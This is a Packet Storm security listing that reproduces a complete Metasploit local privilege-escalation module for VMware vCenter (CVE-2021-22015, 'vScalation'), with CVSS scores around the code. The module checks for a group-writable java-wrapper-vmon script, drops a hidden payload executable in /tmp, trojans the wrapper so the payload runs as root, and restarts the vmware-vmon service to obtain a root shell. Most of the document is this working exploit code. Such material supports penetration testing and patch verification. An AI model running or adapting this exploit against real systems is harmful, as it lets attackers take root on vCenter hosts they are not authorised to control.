Lucene search

K
packetstormH00die, Yuval Lazar, metasploit.comPACKETSTORM:170116
HistoryDec 06, 2022 - 12:00 a.m.

VMware vCenter vScalation Privilege Escalation

2022-12-0600:00:00
h00die, Yuval Lazar, metasploit.com
packetstormsecurity.com
189

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ManualRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware vCenter vScalation Priv Esc',  
'Description' => %q{  
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the  
/usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the  
cis group to write to the file, which will execute as root on vmware-vmon service  
restart or host reboot.  
  
This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.  
The following versions should be vulnerable:  
vCenter 7.0 before U2c  
vCenter 6.7 before U3o  
vCenter 6.5 before U3q  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Yuval Lazar' # original PoC, analysis  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' => [  
[ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ],  
[ 'CVE', '2021-22015' ],  
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ]  
],  
'DisclosureDate' => '2021-09-21',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 1800 # 30min  
},  
'Notes' => {  
'Stability' => [CRASH_SERVICE_DOWN],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],  
'AKA' => ['vScalation']  
}  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
# Simplify pulling the writable directory variable  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def java_wrapper_vmon  
'/usr/lib/vmware-vmon/java-wrapper-vmon'  
end  
  
def check  
group_owner = cmd_exec("stat -c \"%G\" \"#{java_wrapper_vmon}\"")  
if writable?(java_wrapper_vmon) && group_owner == 'cis'  
return CheckCode::Appears("#{java_wrapper_vmon} is writable and owned by cis group")  
end  
  
CheckCode::Safe("#{java_wrapper_vmon} not owned by 'cis' group (owned by '#{group_owner}'), or not writable")  
end  
  
def exploit  
# Check if we're already root  
if is_root? && !datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'  
end  
  
# Make sure we can write our exploit and payload to the local system  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# backup the original file  
@backup = read_file(java_wrapper_vmon)  
path = store_loot(  
'java-wrapper-vmon.text',  
'text/plain',  
rhost,  
@backup,  
'java-wrapper-vmon.text'  
)  
print_good("Original #{java_wrapper_vmon} backed up to #{path}")  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
print_status("Writing payload to #{payload_path}")  
upload_and_chmodx payload_path, generate_payload_exe  
register_files_for_cleanup payload_path  
  
# write trojaned file  
# we want to write our payload towards the top to ensure it gets run  
# writing it at the bottom of the file results in the payload not being run  
print_status("Writing trojaned #{java_wrapper_vmon}")  
write_file(java_wrapper_vmon, @backup.gsub('#!/bin/sh', "#!/bin/sh\n#{payload_path} &\n"))  
  
# try to restart the service  
print_status('Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)')  
service_restart = cmd_exec('systemctl restart vmware-vmon.service')  
# one error i'm seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files  
if service_restart.downcase.include?('access denied') || service_restart.downcase.include?('failed')  
print_bad('vmware-vmon service needs to be restarted, or host rebooted to obtain shell.')  
end  
print_status("Waiting #{datastore['WfsDelay']} seconds for shell")  
end  
  
def cleanup  
unless @backup.nil?  
print_status("Replacing trojaned #{java_wrapper_vmon} with original")  
write_file(java_wrapper_vmon, @backup)  
end  
super  
end  
end  
`

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C